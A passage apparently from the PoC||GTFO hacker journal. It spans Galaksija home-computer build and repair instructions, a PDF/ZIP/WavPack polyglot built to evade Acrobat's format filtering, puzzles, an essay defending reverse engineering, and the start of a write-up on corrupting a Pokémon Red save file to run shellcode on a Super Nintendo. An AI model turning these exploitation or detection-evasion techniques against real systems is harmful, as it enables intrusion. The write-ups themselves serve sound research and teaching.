It must not be glossy in any place, or paint will fall off rather quickly.
Clean it thoroughly and then degrease with gasoline.



10. Make an even coating with the white spray paint. This layer should
be left to dry for at least 3 hours, but not in a cold or humid
environment.

11. Use the letraset letters to print text on the now dry surface. If we
pull lines by the edges of the box and keyboard opening, we’ll get much
prettier design. Using a clean and dry finger, press each letter to make
sure that it’s properly glued.



12. Carefully spray paint another layer, now with the darker color. This
layer should be as even and as thin as possible, just thick enough not to
see the color underneath.

13. After about an hour of drying, but not much longer, use your finger
nail to remove all the lettering and lines. The cover might look a bit
imprecise after this phase. Don’t worry about that for now.



14. Use a clean cloth or paper tissue dabbed in gasoline to rub the
surface, and you’ll be surprised by nice looking lines and letters.

Power Supply Transformer and Regulator

Transformer electrical schematic.



Transformer mounting.



Transformer PCB

We need to say up front that the stabilized 12V supply is only used
for RF modulator; you can leave it out if you are not using one, or if



yours requires 5V. You save on components D3, D4, D5, C4, C5 and
R1 this way. Capacitor C6 on the primary side of transformer is used to
eliminated unwanted interference coming from the mains. The
transformer is full-wave and you get 11V of direct current and filtered
voltage on capacitor C1. The 7805 voltage regulator can supply about
one amp at 5V. It’s a good idea to use a transformer with that much
current, no matter that the computer will only use about 400 mA. The
rest of the available current can later be used to power future
expansions.

Capacitors C2 and C3 protect the 7805 from oscillating.

Because 7805 dissipates a lot of heat during operation, we need to
mount it on a heat sink. If we don’t have a ready-made one, we can
improvise it from three chunks of aluminum with dimensions of 35×80,
35×110 and 35×140, of which each is bent in two places to form a letter
U. The opening on the metal tab of the voltage regulator is for an M3
screw to tighten it to the heat sink. It is advisable to put some silicon
paste to the contact surface of heat sink and regulator, to ensure good
thermal conductivity. You can choose your own box in which to mount
this transformer. It should have cooling vents and if the case is
conductive, you will need a three-prong cable to the socket. Use green-
yellow cable wire to connect ground on the socket plug to the ground
of the box and transformer.

Simple Procedure, Fantastic Effects

To be able to turn a regular black-and-white TV into a computer
screen, we must respect one crucial requirement: video input can be
added only to TVs that have an AC/DC transformer. TVs with a hot
chassis are very dangerous for modifications because they are not
galvanically isolated from the computer and therefore can endanger the
life of the one using it.

How do we test if our TV has a hot chassis? If you don’t have
enough experience and knowledge, skip this and let a professional deal
with it. If you are sure about your knowledge, open up the TV and



plug it in35 without ever touching its metal parts. Measure the
potential between TV ground and socket ground. Unplug the TV, turn
the plug 180 degrees, plug it back in and repeat the measurement. If at
any point you read any voltage during measurement, unplug the TV,
close it and give up on further modifications. The solution to your
problem is RF modulator.

If in both cases there was no voltage, you can continue checking.
Resistance between either poles of the TV plug and TVs ground must
be infinite. (Measure this, of course, while the TV is unplugged.) If this
checks out too, you have green light to continue with modifications.

First, get the schematic diagram of your TV — without it every
effort is pointless. Find the entry point into the first stage of video
amplifier. There you will find a marking for “white level” voltage and
sync is two volts below it. Transistor TVs usually have white level at +
3V, and sync at + 1V. Leave the voltage from the splitter connected to
the transistor base, cut the trace that leads the signal from video-
detector and connect it as shown on the picture. You need to add one
bipolar electrolytic capacitor of about 50 μF or, because bipolar
electrolytic capacitors are hard to get, you can use two regular
electrolytic of about 100 μF tied in parallel. (Pluses towards each other,
minus to the video signal socket and a switch that chooses the TV
function.)

On the back-pane of the TV, drill a hole for a switch and video
signal socket. Use cables as short as possible, shielded or at least twisted
around each other. Same goes for the cable that connects the computer
to the screen. With that, we are done with modifications. Close the TV
and connect it to the computer. When you turn them on, you’ll
probably need to adjust horizontal and vertical synchronization, as well
as image contrast until you no longer see letter ghosting.



TV splitter

Don’t panic, everything is going to be fine.

First, plug in only the transformer. Measure the voltages: stabilized 5V
voltage must vary no more than ± 0,25V. For the 12V supply required
by some RF modulators, variations can be up to ± 1V. After you’ve



made sure that voltages are within safe margins, connect the
transformer and computer grounds by a wire, set the amp meter to
highest setting and touch the + 5V transformer output with a plus side,
and minus side to + 5V of the computer. The meter should show a
current between 300 and 500 mA. If the reading is within the margins,
remove the meter from + 5V and do the same measurement with + 12V.
Depending on the model RF modulator, as it’s the only component run
by this current, the reading should be a couple milliamps. To be able to
register it, we must lower the range on the meter.

If everything is all right, we can remove the amp meter and connect
the display, then connect the transformer to the computer and turn it
on. If we are using RF signal and TV receiver, we need to go through
all three bands to find the best reception. The computer will display it’s
first word ever: “READY.”

It’s important that it starts working, eventually.

If the computer doesn’t start up at first, do not panic: some difficulties
are inherent in amateur work. If the picture is there, but is unstable, try
to adjust vertical and horizontal sync on the TV or display. (These
knobs are usually on the back side of the TV, but you might need a
screwdriver.) If you can’t see anything on the screen, increase the
brightness.

Perhaps instead of one, you see nine smaller images (three by three)
with black edges without text. This is simple to fix: the crystal, instead
of 6.144MHz, is oscillating at three times that frequency! To fix this,
solder a C5 capacitor with a value between 10 and 30 pF. As with any
other modifications, first unplug the computer.

If the computer is completely silent, carefully touch each
component, especially the ICs. The voltage regulator’s heat sink should
be warm just after a few minutes, same goes for transformer diodes and
transformer. Only the CPU and EEPROMs out of all ICs can be hot,
and even those not so much that we can’t hold a finger to them. If



something is overheated, at least we know where to start looking for a
short circuit.

Hidden and Intermittent Faults

It’s entirely possible that the fault is so well hidden that it hasn’t
manifested yet. In that case, there might be a short circuit on the PCB
printing. Turn off the transformer, take the multi-meter and test all
adjacent traces on 1 Ohm range. While doing that, check again if all IC
pins are soldered correctly, and then turn over the board and check the
layout of the components.

Another possibility is that the computer is working, but with minor
deficiencies: for example, when you press one key, two characters show
up instead of one. In that case there’s most certainly a short circuit
between traces from ICs 741LS251 and 74LS156 to the keyboard. If
you examine the situation and conclude which keys show up in pairs,
you can deduce which traces are short circuited by looking at the
keyboard matrix scheme.

It is also possible that the lines of text on the screen bend
horizontally, especially in last rows. This is due to a poor image sync
signal, and some experimenting with resistors R9 an R10 is required.
(R9 must not be lower than 40 Ohm, otherwise the IC 741S38 is in
danger.)

Advanced Fault Debugging Tool

For especially hard core faults we need to make a helper tool. It’s called
a logic probe, and it can be useful in many other situations. We need
74LS04 and 74US90 ICs, six LEDs, one capacitor and a few resistors.
Using this probe we can determine if the logic level on a trace is high
(first LED is on), low (second LED) or there’s a sequence of impulses.
For pulses, the remaining four LEDs will blink, usually so fast that it
appears as though they are constantly on. Constant input without
pulses can never turn on all four LEDs.



It’s best if the ground and plus of the probe are two differently
colored wires about 50cm in length that end in alligator clips. Connect
those to the device that we are examining to get 5V, minding the
polarity, as an error can damage the probe. Then we can read the logic
states on crucial circuit points by touching them with pointed spike of
the probe.

First we’ll make sure that the oscillator is working. Pin 10 of
74LS32 IC has to show the changing signal, which means that all LEDs
should be on. Next we follow the divider chain: pin 2 of 74LS93, pin 14
of CD4040, pin 2 of CD4017. Each of these should show the same state
on the probe, except the last one, where the frequency is low enough
that we can see some LEDs flicker. If we find a static state at any of
these, we’ve found the fault.

Carefully examine the surrounding printed traces: if there are no
errors, we have to substitute the IC. Pin 26 of the Z80 microprocessor
must test low for about half a second after turning the unit on, and
after that has to be constantly high. If this is not the case, check the
transistor that is connected to this pin as well as the electrolytic
capacitor that is connecting R5 to + 5V.

Logic probe PCB layout.



Logic probe mounting layout.

Logic probe schematic.



Others may know more.

If after all this trouble you haven’t found a fault, you’ll have to seek
help from somebody more experienced. We think that path is easier
that for you to become an expert in electronics yourself.

There is one problem which can be fixed in software. If the image
on your screen is shifted too much to the left, each time you turn on
the computer you can type BYTE 11176, 12 and press RET, or in more
extreme cases, BYTE 11176,13. Similarly, if the image is too far to the right,
you can type BYTE 11176,10 (or BYTE 11176,9) and press RET each time you turn
on the computer.

Acquiring parts for the Galaksija computer.

Building a computer yourself, even in places where you can buy
microprocessors in bulk, is not an easy matter. Some key parts of the
computer, such as ROM, cannot be freely bought in any parts of the
world, and others, such as the keyboard, can be found neither easily nor
cheaply. In our country, where it’s hard to find even the most common
resistor, getting into this adventure might seem insane. But, it’s possible
to overcome these obstacles. How?

Thanks to the understanding and love for computers by a handful
of local manufacturers, Galaksija has managed to source for its readers
all the core components without which building this computer yourself
would have been suicidal—ROM, keyboard and printed circuit board
—and at affordable prices! (The PCB will cost 40 percent less than
“Elektronika Inženjering,” even though they are paying taxes for them!)

Besides that, we’ve managed to make a deal for procuring the
semiconductor components from abroad. Only the housing and
cassette we are unsure about at this time.

The ever-shifting dinar exchange rate increased the prices on
everything, which affects the Galaksija computer too. Final prices will
depend on the way ICs are sourced from abroad. In the worst case, if



customs decide you have to pay import fees, those shouldn’t be bigger

than 15.500 dinars,36 but it can’t be less than 11,000 dinars.

Mechanical Components

Mechanical components of the Galaksija computer—PCB, connector
board, keyboard mask, keys with caps—are being made available by
Institut za Vakuumsku Tehniku from Ljubljana (keys) and MIPRO,
Elektronika from Buj. Keys which will be built into Galaksija really
satisfy all professional standards; the same ones are built into terminals
of several domestic computer systems.

The FR4 printed circuit boards also have a professional look and
quality. Traces are first protected galvanically, and then covered with a
green solder mask to which all professional boards owe their charm.
The upper side of the board has a component silk screen, which
simplifies assembly a lot. The possibility for an error when placing the
components or making a solder bridge is minimized.

The price of the full set is 4300 dinars which covers just the
manufacturing and mailing expenses, as well as taxes which are
responsible for almost a third of the price! (The price doesn’t include
the connector board, which oughtn’t be more than 300 dinars.)

This kind of accessible pricing represents the support of the
MIPRO and Elektronika companies from Buj and their owners Zvonko
Juras and Blažo Krakić to the whole Galaksija project in spreading the

ideas about home computers. These low prices come with a few
limitations, unfortunately, but those shouldn’t worry those who make
the decision to build the Galaksija computer early enough.

The prices are valid only till January 31st for orders received
through Galaksija’s office. MIPRO and Elektronika will still accept
orders after that, but at economically viable, and therefore higher,

prices. This also means that parts can only be ordered in package.37

The first hundred orders get a special discounted price of 3660! Which
first hundred? Well, the ones that first send in the orders, on or after



the fifth of January! 38 Delivers begin on 15 January, and orders should
be sent to Galaksija, 11000 Beograd, Bulevar vojvode Mišića 17.

Integrated Circuits

Potential builders of the Galaksija computer are mostly worried about
acquiring the integrated circuits. Unfortunately, those can only be
bought abroad. There are actual reasons to worry about: how to align
the order with customs regulations, how to explain in a foreign
language what is it that you actually need, how to make the payment?

The procedure is, in essence, simple: you need to write to the
foreign company and ask for an invoice. When you get the invoice, you
go to the bank to make the payment — a foreign currency payment. In
reality, everybody who has ever tried this knows how hard it actually is.
Unfortunately, there’s no other way. Keep one thing in mind at all
times: the maximum value of a single shipment cannot exceed 1500
dinars, otherwise it will be returned and will never reach you.

To try and simplify things at least a bit, Galaksija has made a deal
with Microtechnica in Gratz. Full price for the complete set of ICs, an
RF modulator, the quartz crystal and three sockets is 1000 shillings
(about 6500 dinars) for a 4K RAM version with two 6116 ICs, or 1116
shillings for a 6K RAM version with three 6116 ICs.

This price includes shipping, completely in agreement with
domestic customs regulations. To make the order, simply make a
request for an invoice for Galaksija parts. You can make the payment
by one of the following card: American Express, Diners, Eurocard and
Visa. All buyers of complete sets of ICs for Galaksija, Microtechnica
will receive a pre-programmed EEPROM for free. This significantly
simplifies the path to Galaksija computer. You need to make an order
to the following address: Microtechnica, A-8042 Graz, St. Peter
Hauptstrasse 10, Austria.

Additionally, these are reliable distributors in England (Ambit
International, 200 North Service Road, Brentwood, Essex, England)
and Germany (Bürklin, Shillerstrasse 40, 8000 München).



Programming the EEPROM

Without system programs written into the 2732 (ROM) and 2716
(Character ROM) EEPROMs, the Galaksija computer is completely
helpless. Readers who order the set from Microtechnica will get the
EEPROMs pre-programmed, completely ready for installation.
Readers who already have EEPROMs or intend to source them from
other distributors, can send them to Galaksija offices to be
programmed.

This favor is completely free and will be done by MIPRO from

Belgrade,39 where the development of this computer was started. You
can start sending your EEPROMs right away; they will be returned at
most after fifteen days. Put enough stamps for return postage, the same
number you needed to put on the envelope to send it. Ensured letter is
probably the safest way for EEPROMs to get to our offices and back to
you. EEPROMs should be sent to Galaksija, 11000 Beograd, Bulevar
vojvode Mišića 17.

Emergency help

Less experienced builders should not be afraid that they will be alone in
their endeavor of building the Galaksija. In cooperation with the Avala
amateur-radio club from Belgrade, we’ve organized a help line which
will be available each day from five until eight o’clock at phone number
011/402-687. At this same club, we’ll conduct free computer building
courses. You’ll find detailed announcements in the February issue of
Galaksija, even before you are able to gather all the parts.



Voja Antonić (back) and his friend Jova Regasek assembling Galaksija

9:11 Root Rights are a Grrl’s Best Friend

by fbz

The trolls are glad to lie for views
They delight in online duels.
But I prefer a man page that describes extensive tools.

A shell on the sys may be quite continental
But root rights are a grrl’s best friend.
sudo may be grand, but it won’t pay the rental
On your hosting fee, or help you with the disassembly.
RAM gets cold as exploits get sold
And we all mine bitcoin in the end.
But exploit or shell script,



        priv escalation keeps its shape!
Root rights are a grrl’s best friend!

There may come a time when a hacker needs a lawyer,
But root rights are a grrl’s best friend.
There may come a time when a tech firm employer
Offers you stock options
But get root rights and your own machines.
Perks will fly when stocks are high,
But beware when they start to descend.
Machines will go offline and no more command line!
Root rights are a grrl’s best friend!

I’ve heard of servers where you get admin accounts,
But root rights are a grrl’s best friend.
And I think that machines that you admin yourself
Are better bets. If nothing else, big data sets!



Unix time rolls on, entropy is gone,
And you can’t get that file to prepend.
But big racks or botnets you get props for root logins!

Root rights, root rights, I don’t mean jail breaks,
Root rights are a grrl’s best, best friend!

9:12 What if you could listen to this PDF?

by Philippe Teuwen

To honor the tradition of polyglot releases, pocorgtfo09.pdf is also an
audio file featuring a 24-bit studio recording of fbz’ Root Rights are a

Grrl’s Best Friend, which you can enjoy with MPlayer or VLC.

There are some official ways to embed an audio file in a PDF, such
as LATEX’s media9 package. Unfortunately, that would only work in
Adobe Acrobat Reader, provided that you also install Adobe Flash—
quite a reckless prerequisite nowadays. We are not such bad neighbors,
so we looked for alternatives.

Adobe, once again, is out to search-and-destroy polyglots, so all
common audio file types such as WAV, MP3, M4A, 3GP, AAC, FLAC,
are prohibited. Still, some less popular formats remain undetected, up
until now! Among the free lossless formats these are True Audio (.tta)
and WavPack (.wv).

TTA frame structure40 is unfortunately too rigid and doesn’t allow
much trickery to inject the start of the PDF within the first kilobyte. It
supports standard tagging by ID3v1/v2 and APEv2, but prepending

ID3 info is banned by Acrobat. The APEv2 specification,41 on the
other hand, strongly recommends against using it at the beginning of a

file. In practice, audio readers don’t support files starting with APEv2.

The WavPack file format42 is quite unusual, but far more friendly
to us: it doesn’t have a file header, but every block starts with the same
magic, wvpk. We can add new metadata blocks at the beginning of the
file, and they support DUMMY sub-blocks, meant for padding. So we can



inject the beginning of a PDF, but can we use those sub-blocks to inject
the full PDF in our WavPack? For each sub-block the theoretical size
is 16 Mb, but in practice MPlayer accepts a maximum of 1,047,548
bytes and VLC 1,048,548 bytes and only one such sub-block per block.
So it’s possible, but it would be quite impractical to slice the PDF in
1Mb chunks. WavPack also supports ID3v1 and APEv2. ID3v1 is too
limited (only ID3v2 allows PRIV frames), so we have to rely on APEv2 to
inject the bulk of the PDF (and ZIP, as usual) in a large metadata
frame.

We now have the ingredients to build a PDF/ZIP/WavPack
polyglot file. The final file structure, from the three perspectives, is
depicted on page 130.

All starred items contain a size or an offset that depends on another
part of the polyglot, so the file is built in two passes. The first pass puts
the elements together, and then the second pass adjusts those fields in
the WavPack and ZIP.

By the way, the artwork on page 126 is by Ange and myself, derived
from Vectorportal’s artwork licensed under a Creative Commons

Attribution 3.0 Unported License.43



9:13 Oona’s Puzzle Corner!

by Oona Räisänen

Mystery Message

Peter sits in the front of the classroom. One day during class this
message was passed to him.



Interpolation Colorization

Sadie really likes to convolve with this kernel. But she only took with
her a travel pack containing a limited set of discrete samples. Use a
colored pencil to connect the integer-valued dots (1, 2, 3, ...). Then
repeat using a different color but include also the decimal-valued dots.
What do you see? How is this related to interpolation and sampling
rates? If you recognize the kernel, how would you help Sadie generate
even more points?

Bit Flip Trouble

Mary keeps two copies of a precious file. But one of the copies has been
corrupted in memory due to a recent Rowhammer attack. Can you find
all the flipped bits in the samples below? Can you even tell which one is
the original?



Hint: !noisiv oerets ruoy esU

Hacker Jumble

Max has been trying to memorize some topical words for his upcoming
infosec specialist appearance in the news. But now they’re all lying on
his hotel room floor and he has trouble finding them. How many words
can you find? What has happened to them during the night that makes
them so difficult to see?





10 The Theater of Literate

Disassembly

IN THE THEATER OF LITERATE DISASSEMBLY,
PASTOR MANUL LAPHROAIG

AND HIS MERRY BAND OF
REVERSE ENGINEERS

LIFT THE WELDED HOOD FROM
THE ENGINE THAT RUNS THE WORLD!

10:1 Please stand; now, please be seated.

Neighbors, please join me in reading this eleventh release of the
International Journal of Proof of Concept or Get the Fuck Out, a
friendly little collection of articles for ladies and gentlemen of
distinguished ability and taste in the field of software exploitation and



the worship of weird machines. This is our eleventh release, given on
paper to the fine neighbors of Washington, D.C.

Our sermon today, to be found on page 139, is a sordid tale in the
style of a Dickensian ghost story. Pastor Laphroaig invites us to the
anatomical theater, where helpless tamagotchis are disassembled in
front of an audience, for FUN!

Page 144 contains a delightfully sophisticated and reliable exploit
for Pokémon Red on the Super GameBoy, starting from a save-game
glitch, then working forward through native Z80 code execution to
native 65C816 code on the host Super NES. They do all of this on real
hardware with scripted access to only the gamepad and the reset
switch!

Keeping up our tradition of shipping in funky file formats, this
PDF is a new polyglot! Page 190 contains the details for how this PDF
is also an exploit, loading Pokémon Plays Twitch in the LSNES
emulator.

Micah Elizabeth Scott is becoming a regular contributor to this
journal, and we eagerly await each of her submissions. Page 194
contains her notes on ARM’s replacement for JTAG, called Single Wire
Debug. Driving SWD from an Arduino, she’s able to move the target
machine like a marionette, scripted from literate HTML5
programming with powerful new elements, such as a hex editor.

When we heard that Amanda Wozniak was contracted to reverse
engineer a pregnancy test, but never paid for the work, we quickly



scrounged up five Canadian loonies to buy the work as scrap. Page 205
contains her notes, and we’ll happily pay five more loonies to the first
use of this technology in a Hackaday marriage proposal or shotgun
wedding.

On page 220, Peter Ferrie shares tricks for breaking the copy
protection of dozens of Apple ][ games. When we told Peter to keep his
notes to six pages, he laughed and dared us to find tricks worth cutting
from his article. Accordingly, our cutting-room floor is spotless and
this article is the most complete collection of Apple ][ cracking
techniques in modern publication.

Travis Goodspeed has been playing with Digital Mobile Radio
(DMR) lately, a competitor to TETRA and P25 that is used for
amateur radio, as well as trunked radio for businesses and cash-
strapped police departments. Page 311 contains his notes for
jailbreaking the Tytera MD380’s bootloader, dumping all of protected
memory, then patching its application to enable promiscuous mode.
These tricks should also work on the CS700, CS750, and a variety of
other DMR handhelds.



10:2 Three Ghosts and a Little, Brown Dog

a sermon by Pastor Manul Laphroaig

Rise, neighbors, and in the tradition of the season, let’s have a
conversation with spirits of the past, the present, and the future. We
will head to a disreputable place, a place of controversy where,
according to the best moral authorities, irresponsible people do foul



things for fun: a place of scandalous, wholesale wickedness which must
be stopped!

Yes, neighbors, we are heading to an anatomical theater, to observe its
grim denizens at their grisly pastime. While some dissect carcasses, the
rest watch from rows of seats. They call it learning and finding things
out—even though most of what meets the eye looks like merely
breaking things apart. They say they are making things better—even
curing diseases!—though there are highly titled authorities with
certified diplomas and ethically approved methodologies who make it
their business to improve things “holistically,” without all this
disconcerting breakage and cutting things off. Truly, if this doesn’t beg
the question “How is this allowed?,” then what does?

There was a time, neighbors, when anatomy didn’t mean trying to
guess how a thing functioned by dissecting a specimen. When Andreas
Vesalius published his classic human anatomy atlas with its absolute
priority of dissection for learning what was and what was not true
about the human body, his fixation on biological disassembly was a
scandal. A proper anatomy book was understood to include Aristotle’s
four humors and a fair bit of astrology; imagine how regressive
Vesalius’ fixation on cutting things apart to find their function must
have looked! Even when he became a royal court physician, other
learned physicians called him a barber—for everyone knew that only
barbers and sawbones used blades. Until Victorian times, a doctor was
a gentleman, and a surgeon wasn’t. Testing the patient’s urine was fine,
but taking knives to one was simply below a proper doctor’s station.

Vesalius’ dissection-bound atlas became an instant hit, though. It
turned out that going into specific techniques of dissection—place a
rope here and a pulley there—so that others would replicate it was
exactly what was needed; the venerable signs and elements, on the other
hand, not so much. Which did not save Vesalius from having to
undertake an emergency trip to far-away lands for an obscure reason,
dying in abject poverty on the way. He died before the first dedicated
anatomical theater was built in 1594, by which time anatomy finally
meant what he had made it mean.



Ah, but that was then and now is now! The year is 1902, and
physiology is the latest scandal. Again, moral delinquents and their
supporters are doing something loathsome: vivisection. Again, they
come up with excuses: it’s all about finding out how things work, they
say; some kind of knowledge that makes them different from the
uninitiated, we hear. And even if there was knowledge to be gained,
could it really be trusted to such an immature and irresponsible
crowd? Stuck to their—not so innocent—toys and narrowly focused
views, they can’t even see the bigger ethical picture! They cater to and
are occasionally catered by truly objectionable characters—and then
have the gall to shrug it off. They talk about education, but who in
their right mind would let them near children? Too bad there isn’t a
general law against them yet, and the establishment is dragging its feet
(or even has its own uses for them, no doubt disgusting)—but the stride
of social progress is catching up with them, and, with luck, there soon
will be!

That was the year of high court drama, a pitched battle between
people who each believed themselves to embody social progress against
superstition. It saw rallies by socialists and riots by medical students,



scientists and suffragettes, British lords and Swedish feminists—and a
lot more, including its own commemorative handkerchief
merchandise. It is immortalized in history as The Brown Dog affair, one
so dramatic that even the Wikipedia article about it makes for good
reading. Incidentally, the experiment involved led to the discovery of
hormones.

So says the Ghost of Science Past, but we bid him to haunt us no
longer. There is another, more cheerful Spirit to occupy our attention
—the Spirit of the Present. This is a more cheerful Spirit, involving
pets only as cute pictures thereof—and lots of them!—much to the
relief of those who think neither Schrodinger nor Pavlov would make
good friends.

But this Spirit isn’t left without attention from our moral betters.
What about the children? What about the lowlives and the criminals
whom we empower by our so-called knowledge? What about the
bullies, the haters, the thieves, the spies, the despots, and even—the
terrorists? Would a good thing be called exploitation or pwnage? This
new reality is so scary to some people that their response goes straight
to nuclear; they call for a Manhattan project, but what they really mean
is “nuke it from orbit.” To some, it’s even about evil “techno-priests”
hijacking “true social progress”—or at least it sells their books.



Nor is this Spirit’s domain devoid of court drama, even in our
enlightened times—although looking where we tend to fall on the scale
between Vesalius and Lord Alverstone’s Old Bailey, one begins to
wonder just where the light is going. No wonder the Spirit of the
Hacking Present looks somewhat frayed around the edges.

Why wait for the Specter of the Future to make an appearance? I
say, neighbors, let’s make like 1594 at the University of Padua—back
when a university used to have quite a different place in this game of
ghosts—and have our own Anatomical Theater, a Theater of Literate
Disassembly!

Just as Knuth described Adventure with Literate Programming,
we’ll weave together the disassembled code of a live subject with expert

explanations of its deeper meaning.1 (Of course the best part might
well be a one liner, but we’ll save the reader hours of effort!) We’ll
weave a log and a transcript into an executable script that reproduces
the cuts of a Master Surgeon, stroke by stroke.



It is high time. We have been doing our dissections alone—with
none or few to watch and learn—long enough. Let other neighbors
watch your disassembly, show them your technique, and let them get a
good view and share the fun.

As the good old U. of Padua preserved its theater, so shall we! And
then perhaps the Specter of the Future will smile upon us.

10:3 Pokémon Plays Twitch

by Allan Cecil (DwangoAC), Ilari Liusvaara (Ilari) and Jordan Potter

(P4Plus2)



For the Awesome Games Done Quick (AGDQ) 2015 charity
marathon we exploited a chain of unmodified Nintendo game console
components consisting of a Pokémon Red Game Boy cartridge in a
Super Game Boy running in a Super Nintendo. We plugged the latter
into custom hardware posing as a normal controller. In this seven-stage
exploit, we corrupted a save file to give ourselves 255 Pokémon,
swapped Pokémon, and tossed items to plant shellcode. We committed
a series of atrocities using documented command packets and
ultimately broke into the Super Nintendo’s working RAM, where we
wrote our own chat interface to display live contents of the Twitch chat
and even a representation of a defaced website.



TAS’ing a Game to execute Arbitrary Code

TASVideos2 hosts Tool-Assisted Speedruns of games that are created
using an emulator with speed controls such as slow motion and frame
advance, along with the ability to save and restore the state of the game
(or, rather, of the entire console) at any time. TAS movie files consist of
a list all of the button presses sent to the console every frame from the
time it is powered on until the game is beaten. It aids our poor human
reflexes, but it can do a lot more—like arbitrary code execution!

The first run on the site to use this ability to execute arbitrary code
to jump to the credits of a game was Masterjun’s Super Mario World
run. Later, Bortreb used arbitrary code execution in a run of Pokémon
Yellow, marking the first time external content was added to an existing
game.

In late 2013, DwangoAC worked with Ilari and Masterjun to
present a run at AGDQ 2014 that programmed the games Snake and
Pong into Super Mario World on a real console using a replay device
(also known as a “bot”) from True. This was a huge success and was
covered by Ars Technica, but we knew that we could do even more,

which ultimately led us to the project described in this article.3



The Game Choice

We started with an end-goal of executing arbitrary code on a Super
Nintendo (SNES) using a Super Game Boy (SGB) cartridge as the
entry point. We initially planned to use Pokémon Yellow based on
Bortreb’s exploit in that game, but quickly discovered that the SGB
detection routine used by Pokémon Yellow is extremely broken and

only worked on a real SGB by pure chance.4 After looking at other
options, we chose to use the Pokémon Red version, which uses a more
reliable SGB detection routine that gets us access to the full SGB
palette, a custom border, and consistent timing benefits we’ll discuss

later.5 Using Pokémon Red also has another added benefit in that the

entire game has been skillfully disassembled.6

The Emulator

When we started this project in August 2014, the only emulator capable
of emulating an SGB inside of an SNES at a low enough level for our
needs was the BSNES emulator. Unfortunately, although BSNES is
very accurate at emulating an SNES, it doesn’t do a very good job of
emulating an SGB. The Gambatte Dot-Matrix Game Boy (DMG)
emulator is likewise very accurate, but is unable to emulate an SGB on
its own. Ilari was able to create a hybrid emulation core using BSNES
to emulate the SNES↔DMG interface chip while using Gambatte for
DMG emulation. This was a considerable undertaking, but in the end
the emulator was very usable, albeit somewhat slow, as properly
emulating the synchronization between the SNES CPU and the DMG
CPU is a challenge. Ilari continued to provide emulator development
and scripting support throughout the project.

The Hardware

We didn’t just want to exploit a game in the sandbox of a console
emulator and call it a Proof of Concept. We wanted to do the job



properly and create an actual exploit that would work on real
hardware. Only one member of our team (DwangoAC) had all of the
required hardware in one place, namely an SNES console, an SGB
cartridge, a copy of Pokémon Red, and the replay device posing as a

controller, also known as a “bot.”7 Because we wanted to stream data
from an attached computer, we opted to use an older, serial-over-USB
connected device, namely True’s NES/SNES Replay Device. This
choice of hardware had a few limitations but worked out well for the
project in the end.

The Plan

We were unsure what kind of payload to create once we gained the
ability to execute arbitrary code on the SNES. Initially we investigated
methods of showing crude video, but abandoned it after spending far
too much time failing to increase the datarate and running into limits
with the processing speed of the SNES’s 65C816 CPU. An IRC

discussion about Twitch Plays Pokémon8 led DwangoAC and P4Plus2
to brainstorm what it would take to incorporate similar elements into
our payload, and the concept of Pokémon Plays Twitch was hatched—
where a Pokémon character enters a Twitch chat room and “plays”
Twitch. In the end, we took it to the next level by giving Red a voice in
a chat interface on the SNES and giving TASBot, the robot holding the
replay board, the ability to speak through espeak and argue with Red.
There’s much more to say about that, but let’s first get to the point
where we can execute arbitrary code!



Figure 10.1: The Legendary TASBot



Figure 10.2: A Strange Rival

Stage 0: Corrupting a save game.

Three to seven bytes per minute.

We start the game by creating a save file, giving ourselves the

default name of Red and naming our rival RxRxp
k as shown in Figure

10.2. We then save the game as in Figure 10.3, but reset the console
directly after it starts writing to the cartridge’s SRAM. There is
checksumming on most of the values in the save file but at least one
value has no checksum at all, namely the byte at the start of the “party
data” that stores the number of Pokémon that have been caught. By
some chance, this value in SRAM (at 0xAF2C, or 0x2F2C when paged) is
initially set to FF, so we wait long enough for valid name data and a save
file header to be written before resetting. It is possible to do this with
human reflexes as the window is approximately 20 ms but we opted to
run a wire from our replay device to pin 19 on the expansion port on
the underside of the SNES. This allowed ns to trigger a reset by

shorting the pin to ground, as shown in Figure 10.3.9



Figure 10.3: Corrupting a save game by pressing A to save, then
resetting 24 frames later.

Stage 1: Writing Z80 assembly by swapping
Pokémon and tossing items.

Thirty bytes per second

After loading the game but before changing anything, the initial

state of the GBBUS memory map is held in memory at 0xD163.10



We want to adjust some of these values to create a payload
described in the next section, and the game conveniently provides three
ways to arrange the state of memory.

Swapping Pokémon: The game implements moving Pokémon
around the list by swapping the raw contents of entries in the ID,
Data, Original trainer, and nickname tables, which happens to
offset data by an odd amount. Since we have 255 Pokémon instead
of the 141 the game was originally limited to we can swap around

the contents of anything in WRAM above 0xD164.11

Tossing items: Throwing away unwanted items decrements the
second byte in an item’s two-byte ID / Quantity pair.
Unfortunately, there are some items that can’t be tossed, either
because the game prevents tossing them or because doing so
softlocks or crashes the game.

Swapping items: Items can be swapped around in the list of items,
which normally just swaps the item data. If you swap two of the
same item, the game tries to merge them by adding their counts
and then shifting the item list. The shift adjusts the item count and



writes a new sentinel item ID. (It doesn’t touch either the item
count in that slot or the old sentinel.)

Since we don’t have any items, let’s get some! Swapping the first
Pokémon with the tenth causes the FF’s located at 0xD16B through 0xD196 to
be written to 0xD2F7 through 0xD322. Per the memory map, the number of
items is located at 0xD31D and this is changed along with lots of other
nearby addresses from 00 to FF, which causes the game to think we have
255 items. We eventually enter the item menu and proceed to toss a
number of safe items, but—because we can only ever decrement the
quantity byte in each item’s ID/Quantity two-byte pair—we have to go
back and swap Pokémon to make what was once an ID into an item
count and vice versa.

In order to avoid softlocking the game, we have to walk through the
sequence in a very particular order. There are several items that the
game refuses to toss, some that crash the game if you try to toss them,
some that can only be thrown once—after which all items afflicted with
this condition can no longer be tossed. Some will crash the game
simply by being in the menu even if you never even select them.





Figure 10.4: Pokémon and items are re-arranged in memory to create
shellcode.

Figure 10.5: Early Shellcode from Swaps

To work around these pitfalls, we prepare memory by doing several
Pokémon and item swaps followed by an initial round of tossing, we go
back to swap Pokémon in a way that realigns memory so we can now
toss what used to be item IDs. We swap several Pokémon to relocate
the Stage 1 code and create a swath of 0’s in front of it, and at the very
end we swap two identical items to shift memory two spaces back.
That’s a lot to take in in one sentence, so page 155 diagrams the
complete list of changes we make showing the value changes as
anchored initially from GBBUS 0xD349.

The primary purpose of all this swapping and tossing is to create a
better way to craft our own code—as it would be quite tedious to use

this method to do anything longer.12 Figure 10.5 shows a disassembly
of what we’ve been able to write so far, starting from 0xD361.

Everything up to this point has been the process of writing Stage 1,
but now it’s time to walk through executing it, although some of the



shortcuts we took require a bit of explanation.

First, the reason 0xD361 contains 30 is because the beginning of the
Stage 1 data is mostly copied from the field that holds the rival name—
which happens to be directly preceded by the player’s money. Of this
quantity we see the last two out of three bytes represented here in BCD
format; the full value 00 30 00 starts at 0xD360. It would take extra effort to
